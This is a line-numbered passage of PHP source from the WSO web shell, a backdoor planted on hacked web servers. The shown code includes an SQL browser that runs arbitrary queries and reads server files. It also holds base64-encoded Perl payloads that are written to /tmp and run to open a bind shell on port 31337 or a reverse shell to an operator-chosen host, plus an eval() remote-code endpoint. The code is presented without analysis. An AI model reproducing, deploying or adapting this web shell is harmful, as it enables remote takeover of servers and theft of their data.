1361 case "UTF-8": $db->setCharset('utf8'); break;
1362 case "KOI8-R": $db->setCharset('koi8r'); break;
1363 case "KOI8-U": $db->setCharset('koi8u'); break;
1364 case "cp866": $db->setCharset('cp866'); break;
1365 }
1366 $db->listDbs();
1367 echo "<select name=sql_base><option value=''></option>";
1368 while($item = $db->fetch()) {
1369 list($key, $value) = each($item);
1370 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1371 }
1372 echo '</select>';
1373 }
1374 else echo $tmp;
1375 }else
1376 echo $tmp;
1377 echo "</td>
1378 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1379 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1380 </tr>
1381 </table>
1382 <script>
1383 s_db='".@addslashes($_POST['sql_base'])."';
1384 function fs(f) {
1385 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1386 if(f.p1) f.p1.value='';
1387 if(f.p2) f.p2.value='';
1388 if(f.p3) f.p3.value='';
1389 }
1390 }
1391 function st(t,l) {
1392 d.sf.p1.value = 'select';
1393 d.sf.p2.value = t;
1394 if(l && d.sf.p3) d.sf.p3.value = l;
1395 d.sf.submit();
1396 }
1397 function is() {
1398 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1399 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1400 }
1401 </script>";
1402 if(isset($db) && $db->link){
1403 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1404 if(!empty($_POST['sql_base'])){
1405 $db->selectdb($_POST['sql_base']);
1406 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1407 $tbls_res = $db->listTables();
1408 while($item = $db->fetch($tbls_res)) {
1409 list($key, $value) = each($item);
1410 if(!empty($_POST['sql_count']))
1411 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1412 $value = htmlspecialchars($value);
1413 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1414 }
1415 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1416 if(@$_POST['p1'] == 'select') {
1417 $_POST['p1'] = 'query';
1418 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1419 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1420 $num = $db->fetch();
1421 $pages = ceil($num['n'] / 30);
1422 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1423 echo " of $pages";
1424 if($_POST['p3'] > 1)
1425 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1426 if($_POST['p3'] < $pages)
1427 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1428 $_POST['p3']--;
1429 if($_POST['type']=='pgsql')
1430 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1431 else
1432 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1433 echo "<br><br>";
1434 }
1435 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1436 $db->query(@$_POST['p2']);
1437 if($db->res !== false) {
1438 $title = false;
1439 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1440 $line = 1;
1441 while($item = $db->fetch()) {
1442 if(!$title) {
1443 echo '<tr>';
1444 foreach($item as $key => $value)
1445 echo '<th>'.$key.'</th>';
1446 reset($item);
1447 $title=true;
1448 echo '</tr><tr>';
1449 $line = 2;
1450 }
1451 echo '<tr class="l'.$line.'">';
1452 $line = $line==1?2:1;
1453 foreach($item as $key => $value) {
1454 if($value == null)
1455 echo '<td><i>null</i></td>';
1456 else
1457 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1458 }
1459 echo '</tr>';
1460 }
1461 echo '</table>';
1462 } else {
1463 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1464 }
1465 }
1466 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1467 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1468 echo htmlspecialchars($_POST['p2']);
1469 echo "</textarea><br/><input type=submit value='Execute'>";
1470 echo "</td></tr>";
1471 }
1472 echo "</table></form><br/>";
1473 if($_POST['type']=='mysql') {
1474 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1475 if($db->fetch())
1476 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1477 }
1478 if(@$_POST['p1'] == 'loadfile') {
1479 $file = $db->loadFile($_POST['p2']);
1480 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1481 }
1482 } else {
1483 echo htmlspecialchars($db->error());
1484 }
1485 echo '</div>';
1486 wsoFooter();
1487}
1488function actionNetwork() {
1489 wsoHeader();
1490 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1491 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1492 echo "<h1>Network tools</h1><div class=content>
1493 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1494 <span>Bind port to /bin/sh [perl]</span><br/>
1495 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1496 </form>
1497 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1498 <span>Back-connect [perl]</span><br/>
1499 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1500 </form><br>";
1501 if(isset($_POST['p1'])) {
1502 function cf($f,$t) {
1503 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1504 if($w){
1505 @fwrite($w,@base64_decode($t));
1506 @fclose($w);
1507 }
1508 }
1509 if($_POST['p1'] == 'bpp') {
1510 cf("/tmp/bp.pl",$bind_port_p);
1511 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1512 sleep(1);
1513 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1514 unlink("/tmp/bp.pl");
1515 }
1516 if($_POST['p1'] == 'bcp') {
1517 cf("/tmp/bc.pl",$back_connect_p);
1518 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1519 sleep(1);
1520 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1521 unlink("/tmp/bc.pl");
1522 }
1523 }
1524 echo '</div>';
1525 wsoFooter();
1526}
1527function actionRC() {
1528 if(!@$_POST['p1']) {
1529 $a = array(
1530 "uname" => php_uname(),
1531 "php_version" => phpversion(),
1532 "wso_version" => WSO_VERSION,
1533 "safemode" => @ini_get('safe_mode')
1534 );
1535 echo serialize($a);
1536 } else {
1537 eval($_POST['p1']);
1538 }
1539}
1540if( empty($_POST['a']) )
1541 if(isset($default_action) && function_exists('action' . $default_action))
1542 $_POST['a'] = $default_action;
1543 else
1544 $_POST['a'] = 'SecInfo';
1545if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1546 call_user_func('action' . $_POST['a']);
1547exit;
1548}